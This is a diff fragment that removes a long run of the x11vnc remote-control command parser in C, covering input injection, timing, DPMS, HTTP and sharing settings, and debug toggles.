- ks = (KeySym) in;
- } else if (sscanf(p, "%u", &in) == 1) {
- ks = (KeySym) in;
- } else if ((ks = XStringToKeysym(p)) != NoSymbol) {
- ;
- } else {
- rfbLog("remote_cmd: bad keysym: %s\n", p);
- goto done;
- }
- str = XKeysymToString(ks);
- str = str ? str : "NoSymbol";
- rfbLog("remote_cmd: insert keysym %s 0x%x '%s' down=%d\n", p, ks, str, down);
- if (down == -1) {
- keyboard(1, ks, NULL);
- usleep(50*1000);
- keyboard(0, ks, NULL);
- } else {
- keyboard(down, ks, NULL);
- }
- goto done;
- }
- if (strstr(p, "ptr") == p) {
- int x, y, m = 0;
- NOTAPP
- COLON_CHECK("ptr:")
- p += strlen("ptr:");
- rfbLog("remote_cmd: insert pointer event: %s\n", p);
- if (sscanf(p, "%d,%d,%d", &x, &y, &m) == 3) {
- pointer_event(m, x, y, NULL);
- } else if (sscanf(p, "%d,%d", &x, &y) == 2) {
- pointer_event(m, x, y, NULL);
- } else {
- rfbLog("remote_cmd: bad ptr:x,y,mask\n");
- }
-
- goto done;
- }
- if (strstr(p, "fakebuttonevent") == p) {
- int mb, down = 0;
- NOTAPP
- COLON_CHECK("fakebuttonevent:")
- p += strlen("fakebuttonevent:");
- rfbLog("remote_cmd: insert fakebuttonevent: %s\n", p);
- if (sscanf(p, "%d,%d", &mb, &down) == 2) {
- X_LOCK;
- rfbLog("remote_cmd: XTestFakeButtonEvent(mb=%d, down=%d)\n", mb, down);
- XTestFakeButtonEvent_wr(dpy, mb, down ? True : False, CurrentTime);
- XFlush_wr(dpy);
- X_UNLOCK;
- }
-
- goto done;
- }
- if (strstr(p, "sleep") == p) {
- NOTAPP
- COLON_CHECK("sleep:")
- p += strlen("sleep:");
- rfbLog("remote_cmd: sleeping: %s\n", p);
- usleep((int) (1.0e+6 * atof(p)));
- rfbLog("remote_cmd: done sleeping.\n");
- goto done;
- }
- if (strstr(p, "get_xprop") == p) {
- char *res;
- unsigned long id;
- Window win = None; /* None implies root in get_xprop() */
-
- /* note we force query and assume the colon is there. */
- query = 1;
- if (strstr(p, "get_xprop:") != p) { /* skip-cmd-list */
- snprintf(buf, bufn, "ans=%s:N/A", p);
- goto qry;
- }
- p += strlen("get_xprop:");
-
- if (strstr(p, "id=") == p) { /* skip-cmd-list */
- p += strlen("id=");
- if (scan_hexdec(p, &id)) {
- win = (Window) id;
- }
- if (strchr(p, ':')) {
- p = strchr(p, ':') + 1;
- }
- }
-
- res = get_xprop(p, win);
- if (res == NULL) {
- res = strdup("NULL");
- }
- snprintf(buf, bufn, "ans=get_xprop:%s:%s", p, res);
- free(res);
-
- goto qry;
- }
- if (strstr(p, "set_xprop") == p) {
- char *q;
- int rc = -2;
- unsigned long id;
- Window win = None; /* None implies root in set_xprop() */
-
- /* note we force query and assume the colon is there. */
- query = 1;
- if (strstr(p, "set_xprop:") != p) { /* skip-cmd-list */
- snprintf(buf, bufn, "ans=%s:N/A", p);
- goto qry;
- }
- p += strlen("set_xprop:");
-
- if (strstr(p, "id=") == p) { /* skip-cmd-list */
- p += strlen("id=");
- if (scan_hexdec(p, &id)) {
- win = (Window) id;
- }
- if (strchr(p, ':')) {
- p = strchr(p, ':') + 1;
- }
- }
-
- q = strchr(p, ':');
- if (q) {
- *q = '\0';
- rc = set_xprop(p, win, q+1);
- *q = ':';
- }
- snprintf(buf, bufn, "ans=set_xprop:%s:%d", p, rc);
-
- goto qry;
- }
- if (strstr(p, "wininfo") == p) {
- char *res, *t = "";
- unsigned long id;
- Window win = None;
- int show_children = 0;
-
- /* note we force query and assume the colon is there. */
- query = 1;
- if (strstr(p, "wininfo:") != p) { /* skip-cmd-list */
- snprintf(buf, bufn, "ans=%s:N/A", p);
- goto qry;
- }
- p += strlen("wininfo:");
-
- if (p[0] == '+') {
- show_children = 1;
- t = "+";
- p++;
- }
- if (!strcmp(p, "root")) { /* skip-cmd-list */
- win = rootwin;
- } else if (scan_hexdec(p, &id)) {
- win = (Window) id;
- }
-
- res = wininfo(win, show_children);
- if (res == NULL) {
- res = strdup("NULL");
- }
- snprintf(buf, bufn, "ans=wininfo:%s%s:%s", t, p, res);
- free(res);
-
- goto qry;
- }
- if (strstr(p, "bcx_xattach") == p) {
- char *res;
- int pg_init = -1, kg_init = -1;
- int try = 0, max_tries = 4;
-
- /* note we force query and assume the colon is there. */
- query = 1;
- if (strstr(p, "bcx_xattach:") != p) { /* skip-cmd-list */
- snprintf(buf, bufn, "ans=%s:N/A", p);
- goto qry;
- }
- p += strlen("bcx_xattach:");
-
- if (strstr(p, "retry=")) { /* skip-cmd-list */
- int n;
- char *q = strstr(p, "retry="); /* skip-cmd-list */
- if (sscanf(q, "retry=%d", &n) == 1) {
- if (n < 0) n = 0;
- max_tries = 1 + n;
- }
- }
-
- try_again:
-
- res = bcx_xattach(p, &pg_init, &kg_init);
- try++;
- if (res == NULL) {
- res = strdup("NULL");
- } else if (strstr(res, "GRAB_FAIL_INIT")) {
- rfbLog("bcx_xattach: failed grab check for '%s': %s. Final state OK, not Retrying.\n", p, res);
- } else if (strstr(res, "GRAB_FAIL") && try < max_tries) {
- rfbLog("bcx_xattach: failed grab check for '%s': %s. Retrying[%d]...\n", p, res, try);
- free(res);
- pointer_event(0, dpy_x/2 + try, dpy_y/2 + try, NULL);
-#if !NO_X11
- X_LOCK;
- XFlush_wr(dpy);
- if (dpy) {
- if (try == 2) {
- XSync(dpy, False);
- } else if (try == 3) {
- XSync(dpy, True);
- }
- }
- X_UNLOCK;
-#endif
- if (try == 1) {
- usleep(250*1000);
- } else if (try <= 4) {
- usleep(try*400*1000);
- } else {
- usleep(4*500*1000);
- }
- goto try_again;
- }
-
- snprintf(buf, bufn, "ans=bcx_xattach:%s:%s", p, res);
- free(res);
-
- goto qry;
- }
- if (strstr(p, "deferupdate") == p) {
- int d;
- COLON_CHECK("deferupdate:")
- if (query) {
- if (!screen) {
- d = defer_update;
- } else {
- d = screen->deferUpdateTime;
- }
- snprintf(buf, bufn, "ans=%s%s%d", p, co, d);
- goto qry;
- }
- p += strlen("deferupdate:");
- d = atoi(p);
- if (d < 0) d = 0;
- rfbLog("remote_cmd: setting defer to %d ms.\n", d);
- defer_update = d;
- /* mutex */
- screen->deferUpdateTime = d;
- got_defer = 1;
- goto done;
- }
- if (strstr(p, "defer") == p) {
- int d;
- COLON_CHECK("defer:")
- if (query) {
- if (!screen) {
- d = defer_update;
- } else {
- d = screen->deferUpdateTime;
- }
- snprintf(buf, bufn, "ans=%s%s%d", p, co, d);
- goto qry;
- }
- p += strlen("defer:");
- d = atoi(p);
- if (d < 0) d = 0;
- rfbLog("remote_cmd: setting defer to %d ms.\n", d);
- defer_update = d;
- /* mutex */
- screen->deferUpdateTime = d;
- got_defer = 1;
- goto done;
- }
- if (strstr(p, "setdefer") == p) {
- COLON_CHECK("setdefer:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, set_defer);
- goto qry;
- }
- p += strlen("setdefer:");
- set_defer = atoi(p);
- rfbLog("remote_cmd: setting set_defer to %d\n", set_defer);
- goto done;
- }
- if (strstr(p, "extra_fbur") == p) {
- COLON_CHECK("extra_fbur:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, extra_fbur);
- goto qry;
- }
- p += strlen("extra_fbur:");
- extra_fbur = atoi(p);
- rfbLog("remote_cmd: setting extra_fbur to %d\n", extra_fbur);
- goto done;
- }
- if (strstr(p, "wait_ui") == p) {
- double w;
- COLON_CHECK("wait_ui:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%.2f", p, co, wait_ui);
- goto qry;
- }
- p += strlen("wait_ui:");
- w = atof(p);
- if (w <= 0) w = 1.0;
- rfbLog("remote_cmd: setting wait_ui factor %.2f -> %.2f\n",
- wait_ui, w);
- wait_ui = w;
- goto done;
- }
- if (!strcmp(p, "wait_bog")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, wait_bog);
- goto qry;
- }
- wait_bog = 1;
- rfbLog("remote_cmd: setting wait_bog to %d\n", wait_bog);
- goto done;
- }
- if (!strcmp(p, "nowait_bog")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !wait_bog);
- goto qry;
- }
- wait_bog = 0;
- rfbLog("remote_cmd: setting wait_bog to %d\n", wait_bog);
- goto done;
- }
- if (strstr(p, "slow_fb") == p) {
- double w;
- COLON_CHECK("slow_fb:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%.2f", p, co, slow_fb);
- goto qry;
- }
- p += strlen("slow_fb:");
- w = atof(p);
- if (w <= 0) w = 0.0;
- rfbLog("remote_cmd: setting slow_fb factor %.2f -> %.2f\n",
- slow_fb, w);
- slow_fb = w;
- goto done;
- }
- if (strstr(p, "xrefresh") == p) {
- double w;
- COLON_CHECK("xrefresh:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%.2f", p, co, xrefresh);
- goto qry;
- }
- p += strlen("xrefresh:");
- w = atof(p);
- if (w <= 0) w = 0.0;
- rfbLog("remote_cmd: setting xrefresh delay %.2f -> %.2f\n",
- xrefresh, w);
- xrefresh = w;
- goto done;
- }
- if (strstr(p, "wait") == p) {
- int w;
- COLON_CHECK("wait:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, waitms);
- goto qry;
- }
- p += strlen("wait:");
- w = atoi(p);
- if (w < 0) w = 0;
- rfbLog("remote_cmd: setting wait %d -> %d ms.\n", waitms, w);
- waitms = w;
- goto done;
- }
- if (strstr(p, "readtimeout") == p) {
- int w, orig = rfbMaxClientWait;
- COLON_CHECK("readtimeout:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co,
- rfbMaxClientWait/1000);
- goto qry;
- }
- p += strlen("readtimeout:");
- w = atoi(p) * 1000;
- if (w <= 0) w = 0;
- rfbLog("remote_cmd: setting rfbMaxClientWait %d -> "
- "%d msec.\n", orig, w);
- rfbMaxClientWait = w;
- goto done;
- }
- if (!strcmp(p, "nap")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, take_naps);
- goto qry;
- }
- rfbLog("remote_cmd: turning on nap mode.\n");
- take_naps = 1;
- goto done;
- }
- if (!strcmp(p, "nonap")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !take_naps);
- goto qry;
- }
- rfbLog("remote_cmd: turning off nap mode.\n");
- take_naps = 0;
- goto done;
- }
- if (strstr(p, "sb") == p) {
- int w;
- COLON_CHECK("sb:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, screen_blank);
- goto qry;
- }
- p += strlen("sb:");
- w = atoi(p);
- if (w < 0) w = 0;
- rfbLog("remote_cmd: setting screen_blank %d -> %d sec.\n",
- screen_blank, w);
- screen_blank = w;
- goto done;
- }
- if (strstr(p, "screen_blank") == p) {
- int w;
- COLON_CHECK("screen_blank:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, screen_blank);
- goto qry;
- }
- p += strlen("screen_blank:");
- w = atoi(p);
- if (w < 0) w = 0;
- rfbLog("remote_cmd: setting screen_blank %d -> %d sec.\n",
- screen_blank, w);
- screen_blank = w;
- goto done;
- }
- if (!strcmp(p, "fbpm")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !watch_fbpm);
- goto qry;
- }
- rfbLog("remote_cmd: turning off -nofbpm mode.\n");
- watch_fbpm = 0;
- goto done;
- }
- if (!strcmp(p, "nofbpm")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, watch_fbpm);
- goto qry;
- }
- rfbLog("remote_cmd: turning on -nofbpm mode.\n");
- watch_fbpm = 1;
- goto done;
- }
- if (!strcmp(p, "dpms")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !watch_dpms);
- goto qry;
- }
- rfbLog("remote_cmd: turning off -nodpms mode.\n");
- watch_dpms = 0;
- goto done;
- }
- if (!strcmp(p, "nodpms")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, watch_dpms);
- goto qry;
- }
- rfbLog("remote_cmd: turning on -nodpms mode.\n");
- watch_dpms = 1;
- goto done;
- }
- if (!strcmp(p, "clientdpms")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, client_dpms);
- goto qry;
- }
- rfbLog("remote_cmd: turning on -clientdpms mode.\n");
- client_dpms = 1;
- goto done;
- }
- if (!strcmp(p, "noclientdpms")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !client_dpms);
- goto qry;
- }
- rfbLog("remote_cmd: turning off -clientdpms mode.\n");
- client_dpms = 0;
- goto done;
- }
- if (!strcmp(p, "forcedpms")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, force_dpms);
- goto qry;
- }
- rfbLog("remote_cmd: turning on -forcedpms mode.\n");
- force_dpms = 1;
- goto done;
- }
- if (!strcmp(p, "noforcedpms")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !force_dpms);
- goto qry;
- }
- rfbLog("remote_cmd: turning off -forcedpms mode.\n");
- force_dpms = 0;
- goto done;
- }
- if (!strcmp(p, "noserverdpms")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, no_ultra_dpms);
- goto qry;
- }
- rfbLog("remote_cmd: turning on -noserverdpms mode.\n");
- no_ultra_dpms = 1;
- goto done;
- }
- if (!strcmp(p, "serverdpms")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !no_ultra_dpms);
- goto qry;
- }
- rfbLog("remote_cmd: turning off -noserverdpms mode.\n");
- no_ultra_dpms = 0;
- goto done;
- }
- if (!strcmp(p, "noultraext")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, no_ultra_ext);
- goto qry;
- }
- rfbLog("remote_cmd: turning on -noultraext mode.\n");
- no_ultra_ext = 1;
- goto done;
- }
- if (!strcmp(p, "ultraext")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !no_ultra_ext);
- goto qry;
- }
- rfbLog("remote_cmd: turning off -noultraext mode.\n");
- no_ultra_ext = 0;
- goto done;
- }
- if (!strcmp(p, "chatwindow")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, chat_window);
- goto qry;
- }
- rfbLog("remote_cmd: enabling the local chat window.\n");
- chat_window = 1;
- goto done;
- }
- if (!strcmp(p, "nochatwindow")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !chat_window);
- goto qry;
- }
- rfbLog("remote_cmd: disabling the local chat window.\n");
- chat_window = 0;
- goto done;
- }
- if (!strcmp(p, "chaton")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, (chat_window_client != NULL));
- goto qry;
- }
- rfbLog("remote_cmd: turning local chat window on.\n");
- chat_window = 1;
- set_text_chat(NULL, rfbTextChatOpen, "");
- goto done;
- }
- if (!strcmp(p, "chatoff")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, (chat_window_client == NULL));
- goto qry;
- }
- rfbLog("remote_cmd: turning local chat window off.\n");
- set_text_chat(NULL, rfbTextChatClose, "");
- set_text_chat(NULL, rfbTextChatFinished, "");
- goto done;
- }
- if (strstr(p, "fs") == p) {
- COLON_CHECK("fs:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%f", p, co, fs_frac);
- goto qry;
- }
- p += strlen("fs:");
- fs_frac = atof(p);
- rfbLog("remote_cmd: setting -fs frac to %f\n", fs_frac);
- goto done;
- }
- if (strstr(p, "gaps") == p) {
- int g;
- COLON_CHECK("gaps:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, gaps_fill);
- goto qry;
- }
- p += strlen("gaps:");
- g = atoi(p);
- if (g < 0) g = 0;
- rfbLog("remote_cmd: setting gaps_fill %d -> %d.\n",
- gaps_fill, g);
- gaps_fill = g;
- goto done;
- }
- if (strstr(p, "grow") == p) {
- int g;
- COLON_CHECK("grow:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, grow_fill);
- goto qry;
- }
- p += strlen("grow:");
- g = atoi(p);
- if (g < 0) g = 0;
- rfbLog("remote_cmd: setting grow_fill %d -> %d.\n",
- grow_fill, g);
- grow_fill = g;
- goto done;
- }
- if (strstr(p, "fuzz") == p) {
- int f;
- COLON_CHECK("fuzz:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, tile_fuzz);
- goto qry;
- }
- p += strlen("fuzz:");
- f = atoi(p);
- if (f < 0) f = 0;
- rfbLog("remote_cmd: setting tile_fuzz %d -> %d.\n",
- tile_fuzz, f);
- grow_fill = f;
- goto done;
- }
- if (!strcmp(p, "snapfb")) {
- int orig = use_snapfb;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, use_snapfb);
- goto qry;
- }
- rfbLog("remote_cmd: turning on snapfb mode.\n");
- use_snapfb = 1;
- if (orig != use_snapfb) {
- do_new_fb(1);
- }
- goto done;
- }
- if (!strcmp(p, "nosnapfb")) {
- int orig = use_snapfb;
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !use_snapfb);
- goto qry;
- }
- rfbLog("remote_cmd: turning off snapfb mode.\n");
- use_snapfb = 0;
- if (orig != use_snapfb) {
- do_new_fb(1);
- }
-
- goto done;
- }
- if (strstr(p, "rawfb") == p) {
- COLON_CHECK("rawfb:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(raw_fb_str));
- goto qry;
- }
- p += strlen("rawfb:");
- if (raw_fb_str) free(raw_fb_str);
- raw_fb_str = strdup(p);
- if (safe_remote_only && strstr(p, "setup:") == p) { /* skip-cmd-list */
- /* n.b. we still allow filename, shm, of rawfb */
- fprintf(stderr, "unsafe rawfb setup: %s\n", p);
- exit(1);
- }
-
- rfbLog("remote_cmd: setting -rawfb to:\n\t'%s'\n", p);
-
- if (*raw_fb_str == '\0') {
- free(raw_fb_str);
- raw_fb_str = NULL;
- if (raw_fb_mmap) {
- munmap(raw_fb_addr, raw_fb_mmap);
- }
- if (raw_fb_fd >= 0) {
- close(raw_fb_fd);
- }
- raw_fb_fd = -1;
- raw_fb = NULL;
- raw_fb_addr = NULL;
- raw_fb_offset = 0;
- raw_fb_shm = 0;
- raw_fb_mmap = 0;
- raw_fb_seek = 0;
- rfbLog("restoring per-rawfb settings...\n");
- set_raw_fb_params(1);
- }
- rfbLog("hang on tight, here we go...\n");
- raw_fb_back_to_X = 1;
- do_new_fb(1);
- raw_fb_back_to_X = 0;
- goto done;
- }
- if (strstr(p, "uinput_accel") == p) {
- COLON_CHECK("uinput_accel:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(get_uinput_accel()));
- goto qry;
- }
- p += strlen("uinput_accel:");
- rfbLog("set_uinput_accel: %s\n", p);
- set_uinput_accel(p);
- goto done;
- }
- if (strstr(p, "uinput_thresh") == p) {
- COLON_CHECK("uinput_thresh:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(get_uinput_thresh()));
- goto qry;
- }
- p += strlen("uinput_thresh:");
- rfbLog("set_uinput_thresh: %s\n", p);
- set_uinput_thresh(p);
- goto done;
- }
- if (strstr(p, "uinput_reset") == p) {
- COLON_CHECK("uinput_reset:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co,
- get_uinput_reset());
- goto qry;
- }
- p += strlen("uinput_reset:");
- rfbLog("set_uinput_reset: %s\n", p);
- set_uinput_reset(atoi(p));
- goto done;
- }
- if (strstr(p, "uinput_always") == p) {
- COLON_CHECK("uinput_always:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co,
- get_uinput_always());
- goto qry;
- }
- p += strlen("uinput_always:");
- rfbLog("set_uinput_always: %s\n", p);
- set_uinput_always(atoi(p));
- goto done;
- }
- if (strstr(p, "progressive") == p) {
- int f;
- COLON_CHECK("progressive:")
- if (query) {
- if (!screen) {
- f = 0;
- } else {
- f = screen->progressiveSliceHeight;
- }
- snprintf(buf, bufn, "ans=%s%s%d", p, co, f);
- goto qry;
- }
- p += strlen("progressive:");
- f = atoi(p);
- if (f < 0) f = 0;
- rfbLog("remote_cmd: setting progressive %d -> %d.\n",
- screen->progressiveSliceHeight, f);
- /* mutex */
- screen->progressiveSliceHeight = f;
- goto done;
- }
- if (strstr(p, "rfbport") == p) {
- int rp, orig = screen ? screen->port : 5900;
- COLON_CHECK("rfbport:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, orig);
- goto qry;
- }
- p += strlen("rfbport:");
- rp = atoi(p);
- reset_rfbport(orig, rp);
- goto done;
- }
- if (!strcmp(p, "http")) {
- if (query) {
- int ls = screen ? screen->httpListenSock : -1;
- snprintf(buf, bufn, "ans=%s:%d", p, (ls > -1));
- goto qry;
- }
- if (screen->httpListenSock > -1 || ipv6_http_fd > -1) {
- rfbLog("already listening for http connections.\n");
- } else {
- rfbLog("turning on listening for http connections.\n");
- if (check_httpdir()) {
- http_connections(1);
- }
- }
- goto done;
- }
- if (!strcmp(p, "nohttp")) {
- if (query) {
- int ls = screen ? screen->httpListenSock : -1;
- snprintf(buf, bufn, "ans=%s:%d", p, !(ls > -1));
- goto qry;
- }
- if (screen->httpListenSock < 0 && ipv6_http_fd < 0) {
- rfbLog("already not listening for http connections.\n");
- } else {
- rfbLog("turning off listening for http connections.\n");
- if (check_httpdir()) {
- http_connections(0);
- }
- }
- goto done;
- }
- if (strstr(p, "httpport") == p) {
- int hp, orig = screen ? screen->httpPort : 0;
- COLON_CHECK("httpport:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, orig);
- goto qry;
- }
- p += strlen("httpport:");
- hp = atoi(p);
- reset_httpport(orig, hp);
- goto done;
- }
- if (strstr(p, "httpdir") == p) {
- COLON_CHECK("httpdir:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(http_dir));
- goto qry;
- }
- p += strlen("httpdir:");
- if (http_dir && !strcmp(http_dir, p)) {
- rfbLog("no change in httpdir: %s\n", http_dir);
- } else {
- if (http_dir) {
- free(http_dir);
- }
- http_dir = strdup(p);
- http_connections(0);
- if (*p != '\0') {
- http_connections(1);
- }
- }
- goto done;
- }
- if (!strcmp(p, "enablehttpproxy")) {
- if (query) {
- int ht = screen ? screen->httpEnableProxyConnect : 0;
- snprintf(buf, bufn, "ans=%s:%d", p, ht != 0);
- goto qry;
- }
- rfbLog("turning on enablehttpproxy.\n");
- /* mutex */
- screen->httpEnableProxyConnect = 1;
- goto done;
- }
- if (!strcmp(p, "noenablehttpproxy")) {
- if (query) {
- int ht = screen ? screen->httpEnableProxyConnect : 0;
- snprintf(buf, bufn, "ans=%s:%d", p, ht == 0);
- goto qry;
- }
- rfbLog("turning off enablehttpproxy.\n");
- screen->httpEnableProxyConnect = 0;
- goto done;
- }
- if (!strcmp(p, "alwaysshared")) {
- if (query) {
- int t = screen ? screen->alwaysShared : 0;
- snprintf(buf, bufn, "ans=%s:%d", p, t != 0);
- goto qry;
- }
- rfbLog("turning on alwaysshared.\n");
- screen->alwaysShared = 1;
- goto done;
- }
- if (!strcmp(p, "noalwaysshared")) {
- if (query) {
- int t = screen ? screen->alwaysShared : 0;
- snprintf(buf, bufn, "ans=%s:%d", p, t == 0);
- goto qry;
- }
- rfbLog("turning off alwaysshared.\n");
- screen->alwaysShared = 0;
- goto done;
- }
- if (!strcmp(p, "nevershared")) {
- if (query) {
- int t = screen ? screen->neverShared : 1;
- snprintf(buf, bufn, "ans=%s:%d", p, t != 0);
- goto qry;
- }
- rfbLog("turning on nevershared.\n");
- screen->neverShared = 1;
- goto done;
- }
- if (!strcmp(p, "noalwaysshared")) {
- if (query) {
- int t = screen ? screen->neverShared : 1;
- snprintf(buf, bufn, "ans=%s:%d", p, t == 0);
- goto qry;
- }
- rfbLog("turning off nevershared.\n");
- screen->neverShared = 0;
- goto done;
- }
- if (!strcmp(p, "dontdisconnect")) {
- if (query) {
- int t = screen ? screen->dontDisconnect : 1;
- snprintf(buf, bufn, "ans=%s:%d", p, t != 0);
- goto qry;
- }
- rfbLog("turning on dontdisconnect.\n");
- screen->dontDisconnect = 1;
- goto done;
- }
- if (!strcmp(p, "nodontdisconnect")) {
- if (query) {
- int t = screen ? screen->dontDisconnect : 1;
- snprintf(buf, bufn, "ans=%s:%d", p, t == 0);
- goto qry;
- }
- rfbLog("turning off dontdisconnect.\n");
- screen->dontDisconnect = 0;
- goto done;
- }
- if (!strcmp(p, "desktop") ||
- strstr(p, "desktop:") == p) { /* skip-cmd-list */
- COLON_CHECK("desktop:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%s", p, co,
- NONUL(rfb_desktop_name));
- goto qry;
- }
- p += strlen("desktop:");
- if (rfb_desktop_name) {
- free(rfb_desktop_name);
- }
- rfb_desktop_name = strdup(p);
- /* mutex */
- screen->desktopName = rfb_desktop_name;
- rfbLog("remote_cmd: setting desktop name to %s\n",
- rfb_desktop_name);
- goto done;
- }
- if (!strcmp(p, "debug_xevents")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, debug_xevents);
- goto qry;
- }
- debug_xevents = 1;
- rfbLog("set debug_xevents to: %d\n", debug_xevents);
- goto done;
- }
- if (!strcmp(p, "nodebug_xevents")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !debug_xevents);
- goto qry;
- }
- debug_xevents = 0;
- rfbLog("set debug_xevents to: %d\n", debug_xevents);
- goto done;
- }
- if (strstr(p, "debug_xevents") == p) {
- COLON_CHECK("debug_xevents:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, debug_xevents);
- goto qry;
- }
- p += strlen("debug_xevents:");
- debug_xevents = atoi(p);
- rfbLog("set debug_xevents to: %d\n", debug_xevents);
- goto done;
- }
- if (!strcmp(p, "debug_xdamage")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, debug_xdamage);
- goto qry;
- }
- debug_xdamage = 1;
- rfbLog("set debug_xdamage to: %d\n", debug_xdamage);
- goto done;
- }
- if (!strcmp(p, "nodebug_xdamage")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !debug_xdamage);
- goto qry;
- }
- debug_xdamage = 0;
- rfbLog("set debug_xdamage to: %d\n", debug_xdamage);
- goto done;
- }
- if (strstr(p, "debug_xdamage") == p) {
- COLON_CHECK("debug_xdamage:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co, debug_xdamage);
- goto qry;
- }
- p += strlen("debug_xdamage:");
- debug_xdamage = atoi(p);
- rfbLog("set debug_xdamage to: %d\n", debug_xdamage);
- goto done;
- }
- if (!strcmp(p, "debug_wireframe")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, debug_wireframe);
- goto qry;
- }
- debug_wireframe = 1;
- rfbLog("set debug_wireframe to: %d\n", debug_wireframe);
- goto done;
- }
- if (!strcmp(p, "nodebug_wireframe")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !debug_wireframe);
- goto qry;
- }
- debug_wireframe = 0;
- rfbLog("set debug_wireframe to: %d\n", debug_wireframe);
- goto done;
- }
- if (strstr(p, "debug_wireframe") == p) {
- COLON_CHECK("debug_wireframe:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co,
- debug_wireframe);
- goto qry;
- }
- p += strlen("debug_wireframe:");
- debug_wireframe = atoi(p);
- rfbLog("set debug_wireframe to: %d\n", debug_wireframe);
- goto done;
- }
- if (!strcmp(p, "debug_scroll")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, debug_scroll);
- goto qry;
- }
- debug_scroll = 1;
- rfbLog("set debug_scroll to: %d\n", debug_scroll);
- goto done;
- }
- if (!strcmp(p, "nodebug_scroll")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !debug_scroll);
- goto qry;
- }
- debug_scroll = 0;
- rfbLog("set debug_scroll to: %d\n", debug_scroll);
- goto done;
- }
- if (strstr(p, "debug_scroll") == p) {
- COLON_CHECK("debug_scroll:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co,
- debug_scroll);
- goto qry;
- }
- p += strlen("debug_scroll:");
- debug_scroll = atoi(p);
- rfbLog("set debug_scroll to: %d\n", debug_scroll);
- goto done;
- }
- if (!strcmp(p, "debug_tiles") || !strcmp(p, "dbt")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, debug_tiles);
- goto qry;
- }
- debug_tiles = 1;
- rfbLog("set debug_tiles to: %d\n", debug_tiles);
- goto done;
- }
- if (!strcmp(p, "nodebug_tiles") || !strcmp(p, "nodbt")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !debug_tiles);
- goto qry;
- }
- debug_tiles = 0;
- rfbLog("set debug_tiles to: %d\n", debug_tiles);
- goto done;
- }
- if (strstr(p, "debug_tiles") == p) {
- COLON_CHECK("debug_tiles:")
- if (query) {
- snprintf(buf, bufn, "ans=%s%s%d", p, co,
- debug_tiles);
- goto qry;
- }
- p += strlen("debug_tiles:");
- debug_tiles = atoi(p);
- rfbLog("set debug_tiles to: %d\n", debug_tiles);
- goto done;
- }
- if (!strcmp(p, "debug_grabs")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, debug_grabs);
- goto qry;
- }
- debug_grabs = 1;
- rfbLog("set debug_grabs to: %d\n", debug_grabs);
- goto done;
- }
- if (!strcmp(p, "nodebug_grabs")) {
- if (query) {
- snprintf(buf, bufn, "ans=%s:%d", p, !debug_grabs);
- goto qry;
- }
- debug_grabs = 0;
- rfbLog("set debug_grabs to: %d\n", debug_grabs);
- goto done;
- }
